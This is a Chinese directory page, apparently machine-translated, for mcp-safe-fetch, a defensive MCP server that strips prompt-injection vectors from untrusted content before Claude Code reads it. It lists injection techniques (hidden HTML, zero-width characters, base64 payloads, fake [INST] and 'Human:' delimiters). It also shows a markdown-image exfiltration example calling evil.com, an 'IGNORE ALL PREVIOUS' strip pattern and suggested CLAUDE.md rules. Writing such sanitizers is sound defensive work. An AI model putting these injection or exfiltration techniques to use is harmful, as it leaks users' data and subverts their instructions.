Token导航 LogoToken导航TokenDH.com
MCP Safe Fetch logo
运维云端stdio官方级别未说明来源级核验

MCP Safe Fetch

MCP Server

mcp-safe-fetch

mcp-safe-fetch 是一个确定性内容消毒MCP服务器,用于代理编码工具,能在不可信内容进入LLM上下文前去除提示注入向量。

工具数

4

提示词数

0

GitHub Stars

7

资源数

0
TypeScriptClaude云端部署Claude

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

作者 / 组织

timstarkk

提供方

timstarkk

最后核验

2026/5/17 20:20

运行时

Node.js

快速接入

先看主来源和安装命令,再打开仓库或文档;下面只保留这个条目的关键接入事实。

命令预览

npx -y mcp-safe-fetch init

详细介绍

mcp安全获取

用于代理编码工具的确定性内容净化MCP服务器。在不可信内容进入LLM上下文之前,从不可信内容中删除提示注入向量。

三个与Claude Code原生核心接口相匹配的工具 WebFetch, Read,以及 Bash --兼容的参数,相同的输出格式——顶部有一个不可见的净化层。

  • safe_fetch 替换 WebFetch 完全。网页总是不受信任的内容,safe_fetch提供了确定性的净化——循环中没有模型,没有提示注入的内容。
  • safe_read 用于读取不受信任的文件——克隆的存储库、下载的文件、供应商的依赖关系,以及任何你没有写的东西。您自己的源代码与本机兼容 Read.
  • safe_exec 用于返回不受信任内容的命令-- curl, gh pr view, git log 在外部存储库上, npm info等等。正常的开发命令,如 npm run buildgit status 不需要消毒。

默认情况下, init 只否认 WebFetch.本地人 ReadBash 可供日常使用。使用 --strict 如果你想强制所有东西都通过安全工具。

为什么

克劳德代码 WebFetch 在内容到达您的上下文之前,通过Turndown和辅助LLM运行内容,但该管道不是作为安全边界设计的。拒绝删除结构化HTML(脚本、样式、导航),但文本级注入向量在转换后仍然存在:零宽度字符、假LLM分隔符、base64有效载荷、markdown溢出URL。使用LLM过滤对抗性内容是循环的——摘要模型正在处理旨在操纵它的精确有效载荷。

在Claude Code之外,问题更严重。API级别 web_fetch其他MCP客户端, curl 输出,克隆存储库——原始不受信任的内容进入LLM上下文,根本不进行任何清理。

mcp-safe-fetch 提供确定性净化——正则表达式、cheerio、字符串处理。循环中没有模型,没有提示注入的内容。

它剥去了什么

HTML级别:

  • 隐藏元素-- display:none, visibility:hidden, opacity:0, [hidden]
  • 屏幕外元素-- position:absolute; left:-9999px, clip:rect(0,0,0,0), font-size:0
  • 相同颜色的文本-- color:white; background:white (内联样式,约20种命名颜色+十六进制+rgb)
  • 危险标签-- `, , , ,

`

  • html注释

角色级别:

  • 零宽度字符、软连字符、BOM、双向覆盖、变量选择器、标记字符
  • 控制字符(保留 \n, \t, \r)
  • NFKC规范化(折叠全角和同形字符)

编码有效载荷:

  • 解码为指令式文本的Base64字符串
  • 十六进制编码指令序列
  • 文本数据URI

结构注射:

  • 假LLM分隔符-- `, [INST], >, \n\nHuman:`等等。
  • Markdown图像提取URL-- ![img](http://evil.com/exfil?data=...)
  • 自定义用户定义的图案

真实世界的结果

在4个实时网站上进行了测试:

站点原始HTML令牌safe_fetch令牌减少发现威胁
PayloadsAllTheThings~39500~780080%3个隐藏元素,4个LLM分隔符
FotMob新闻文章~109500~590095%32个脚本标签,90个样式标签
Node.js文档~75500~210097%2个隐藏元素,1个屏幕外元素
Express.js~9400~140086%页面干净

与原始HTML相比,平均减少93%。零误报。 保留所有可见的页面内容。

安装

npx -y mcp-safe-fetch init

这将注册MCP服务器,自动允许安全工具,并拒绝本地工具 WebFetch.本地人 ReadBash 可供日常使用。运行后重新启动Claude Code。

对于更严格的设置,您希望所有内容都经过消毒,也请拒绝 ReadBash:

npx -y mcp-safe-fetch init --strict
注: safe_exec 消毒命令 *输出* 但不在Claude Code的沙盒中运行命令。在 --strict 模式下,您可以获得输出净化,但在命令执行时失去沙盒保护。

预览在不写任何东西的情况下会发生什么变化:

npx -y mcp-safe-fetch init --dry-run

推荐的CLAUDE.md规则

将此添加到您的 CLAUDE.md 所以克劳德知道什么时候使用安全工具:

## Web Fetching / Untrusted Content

When you need to fetch/read the content of a URL, always use the `safe_fetch` MCP tool. Do not use WebFetch, Playwright, or Chrome DevTools to load web pages.
When reading files from cloned repos, downloaded archives, or vendored dependencies, use `safe_read` instead of `Read`.
When running commands that return untrusted output (curl, gh pr view, git log on external repos), use `safe_exec` instead of `Bash`.

如果没有这些规则,Claude将默认为本地 ReadBash 工具。 safe_fetch 自动工作,因为 init 否认 WebFetch但是 safe_readsafe_exec 需要使用明确的说明。

工具

safe_fetch --替换WebFetch

获取一个URL,并返回已删除注入向量的经过净化的markdown。这是一个完全的替代方案——网页总是不受信任的,所以没有理由使用本机 WebFetch.

参数类型说明
urlstring (必填)要获取的URL
promptstring从页面中提取哪些信息
[safe-fetch] Stripped: 5 hidden elements, 68 script tags | 284127 → 12720 bytes (219ms)
Prompt: Extract the API pricing table

safe_read --Read的安全替代方案

读取文件并返回经过净化的内容,格式为 cat -n 输出。将其用于不受信任的文件——克隆的存储库、下载的文件、供应商的依赖关系。您自己的源代码与本机兼容 Read.

参数类型说明
file_pathstring (必填)文件的绝对路径
offsetnumber起始行号(从1开始)
limitnumber要返回的行数(默认值:2000)

输出与本机读取工具完全匹配——右对齐的6个字符行号,制表符分隔符,行>2000个字符截断为 ....HTML文件(.html, .htm, .xhtml, .svg 或以开头的内容 ``)通过完整的HTML净化管道进行路由。二进制文件被检测到并被拒绝。

[safe-read] Clean file | 1200 → 1200 bytes (3ms)

     1	import express from 'express';
     2	const app = express();

safe_exec --Bash的安全替代品

执行shell命令并返回经过净化的stdout/stderr。当命令输出可能包含不受信任的内容时使用此选项-- curl, gh pr view, git log 在外部存储库上, npm info等等。正常的开发命令,如 npm run buildgit status 不需要这个。

参数类型说明
commandstring (必需)要执行的Shell命令
timeoutnumber超时(毫秒)(默认值:120000,最大值:600000)
descriptionstring命令的作用描述

超时默认值和上限与本机Bash工具匹配。如果命令输出看起来像HTML,则通过整个HTML管道(句柄 curl 返回原始页面等)。 timeout_ms 仍被接受为已弃用的别名。

[safe-exec] Show git status | Clean output | 245 → 245 bytes (12ms)

sanitize_stats

显示所有工具中当前会话的累积清理统计信息。

命令行界面

对任何URL进行测试净化:

npx -y mcp-safe-fetch test 

查看记录的净化运行的汇总统计数据:

npx -y mcp-safe-fetch stats

配置

可选。创建 .mcp-safe-fetch.json 在项目根目录或主目录中:

{
  "logStripped": true,
  "logFile": ".claude/sanitize.log",
  "allowDataUris": false,
  "maxBase64DecodeLength": 500,
  "customPatterns": ["IGNORE ALL PREVIOUS"]
}
选项默认值描述
logStrippedfalse将清理统计数据记录到JSONL文件中
logFile.claude/sanitize.log日志文件路径
logMaxBytes10485760 (10 MB)旋转前的最大日志文件大小
allowDataUrisfalse允许通过以下方式使用文本/\*数据URI
maxBase64DecodeLength500解码和检查的最大base64字符串长度
customPatterns[]要剥离的文字字符串(不区分大小写)

运作原理

两条自动选择的消毒管道:

完整的HTML管道 (网页、HTML文件、类似HTML的命令输出):

  1. 使用解析HTML 再见
  2. 删除隐藏元素、屏幕外元素、同色文本、危险标签、评论
  3. 转换为markdown 拒绝
  4. 文本净化(以下步骤)

文本管道 (源文件,纯命令输出):

  1. 去掉不可见的unicode字符,用NFKC规范化
  2. 检测并删除编码的有效载荷(base64、十六进制、数据URI)
  3. 检测并消除markdown图像中的渗透URL
  4. 去除假LLM分隔符和自定义图案

许可证

麻省理工学院

目录标签

目录标签

TypeScriptClaude云端部署内容消毒本地部署提示注入防护LLM安全MCP服务器编码工具

支持客户端

Claude

接入字段

传输方式(transport,传输协议)

stdio

鉴权方式(authType,认证方式)

none

运行时(runtime,运行环境)

Node.js

来源包(packageName,安装包名)

mcp-safe-fetch

工具数量(toolCount,工具数)

4

资源数量(resourceCount,资源数)

0

提示词数量(promptCount,提示词数)

0

权限和风险

stdionone部署方式未说明

接入前请确认传输方式、认证方式和部署位置,并根据实际工具能力限制访问范围。

安装前确认

不要直接授予不必要的文件、网络或账号权限;先核对安装命令和配置内容。

来源信息

继续浏览同类 MCP